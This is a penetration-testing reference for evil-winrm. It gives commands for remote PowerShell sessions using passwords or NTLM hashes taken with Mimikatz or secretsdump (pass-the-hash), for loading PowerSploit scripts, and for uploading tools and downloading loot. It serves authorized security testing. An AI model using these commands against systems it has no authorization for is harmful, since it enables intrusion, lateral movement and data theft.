evil-winrm
Table of Contents
Windows Remote Management (WinRM) shell for penetration testing. Provides a full interactive PowerShell session over WinRM (port 5985/5986). Supports password, hash, and certificate authentication — most useful when you have credentials or an NTLM hash and WinRM is exposed.
Related: Credentials Harvesting Post Exploitation Windows Privilege Escalation Reverse Shell
Installation
gem install evil-winrm
Core Flags
| Flag | Description |
|---|---|
-i |
Target IP |
-u |
Username |
-p |
Password |
-H |
NTLM hash (Pass the Hash) |
-P |
Port (default 5985) |
-S |
SSL — use port 5986 |
-c |
Certificate path (for cert auth) |
-k |
Private key path |
-s |
Path to PowerShell scripts to load |
-e |
Path to executables to load |
-l |
Log output to file |
Common Workflows
Password Authentication
evil-winrm -i $IP -u Administrator -p Password123! evil-winrm -i $IP -u domain\\user -p Password123!
Pass the Hash
# NTLM hash from Mimikatz / secretsdump evil-winrm -i $IP -u Administrator -H aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 # LM:NTLM format — can supply just NTLM (right side) evil-winrm -i $IP -u Administrator -H :NTLM_HASH_ONLY
With Scripts and Executables
# Load PowerShell scripts into session (auto-completes in shell) evil-winrm -i $IP -u Administrator -p Password123! \ -s /usr/share/powersploit/Privesc/ # Load executables (accessible via menu in session) evil-winrm -i $IP -u Administrator -p Password123! \ -e /opt/tools/windows/
Upload and Download Files
# Within the evil-winrm session upload /local/path/file.exe C:\Windows\Temp\file.exe download C:\Windows\Temp\loot.txt /local/path/loot.txt
SSL (port 5986)
evil-winrm -i $IP -u Administrator -p Password123! -S -P 5986
Check WinRM Availability
# Nmap nmap -p 5985,5986 $IP # Test connection curl -s http://$IP:5985/wsman # crackmapexec crackmapexec winrm $IP -u Administrator -p Password123!
Tips
- WinRM must be enabled on the target — not default on workstations, common on servers and domain controllers
- Pass the Hash works without cracking — always try with NTLM hashes obtained from Mimikatz or secretsdump before cracking
- The
-sflag loads .ps1 scripts into the session path — useful for running PowerView or PowerUp without manual upload - If you get "Access Denied" with valid credentials the user may not be in the Remote Management Users group or local admins
- Prefer evil-winrm over psexec when you want a clean PowerShell session without dropping a service binary on disk